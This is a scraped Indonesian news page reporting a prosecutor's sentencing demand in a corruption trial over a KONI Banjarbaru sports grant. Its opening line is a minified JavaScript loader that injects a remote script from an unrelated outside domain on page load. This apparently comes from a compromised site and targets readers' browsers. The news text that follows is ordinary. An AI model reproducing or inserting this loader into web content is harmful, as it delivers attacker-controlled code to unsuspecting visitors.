(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Terdakwa kasus korupsi dana hibah Komite Olahraga Nasional Indonesia (KONI) Banjarbaru Daniel Etta dan Agustina Tri Wardhani menjalani sidang tuntutan di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Jumat (12/5/2023) sore.
Mantan Ketua dan Bendahara KONI Banjarbaru ini masing-masing dituntut oleh Jaksa Penuntut Umum (JPU) selama 1 tahun 7 bulan penjara.
“Menuntut kedua terdakwa dengan pidana penjara 1 tahun 7 bulan dan denda sebesar Rp 100 juta subsider 3 bulan penjara,” ucap Andryawan Perdana Dita Agara SH, JPU dari Kejari Banjarbaru.
Selain itu, kedua terdakwa juga dituntut untuk membayar kerugian negara masing-masing sebesar Rp 144 juta dengan ketentuan jika tidak dapat membayar 1 bulan setelah putusan berkekuatan hukum tetap maka harta bendanya akan disita dan dilelang untuk menutupi kerugian negara.
“Jika tidak cukup maka diganti dengan kurungan penjara selama 10 bulan,” ujar JPU di hadapan ketiga majelis hakim yang diketuai I Gede Yuliartha.
Sementara itu, menanggapi tuntutan JPU penasehat hukum kedua terdakwa mengatakan akan melakukan pledoi (pembelaan) pada sidang berikutnya.
“Nanti pledoi diajukan secara bersama-sama dari kami penasehat hukim dan kedua terdakwa pada hari Selasa nanti,” kata penasehat hukum kedua terdakwa, Darul Huda Mustkakim SH MH.
Pihaknya menilai tuntutan JPU kepada terdakwa terlalu berat, khususnya terhadap uang pengganti dalam dakwaan subsider yang dibebankan kepada kedua terdakwa.
Padahal menurutnya, pada fakta persidangan yang membelanjakan dana hibah tersebut adalah para pengurus cabor dan kesekretariatan KONI Banjarbaru.
“Terkait pasal 3 kami tidak sependapat, kerugian negara tidak bisa dibebankan kepada kedua terdakwa saja,” pungkasnya.
Baca juga: Bupati Banjar Tegaskan Dukung Penuh Pemindahan IKN di Kaltim
Untuk diketahui, terdakwa mantan Ketua KONI Banjarbaru Daniel Etta dan Bendahara Agustina Tri Wardhani didakwa telah melakukan korupsi dana hibah KONI Banjarbaru sebesar Rp 658 juta pada tahun 2018 saat kedua masih menjabat.
Keduanya didakwa JPU dengan Pasal 23 Ayat (1) Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dan ditambah dengan dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.
Sedangkan dakwaan subsider yaitu Pasal 3 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dan ditambah dengan dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) ke-1 KUHP. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.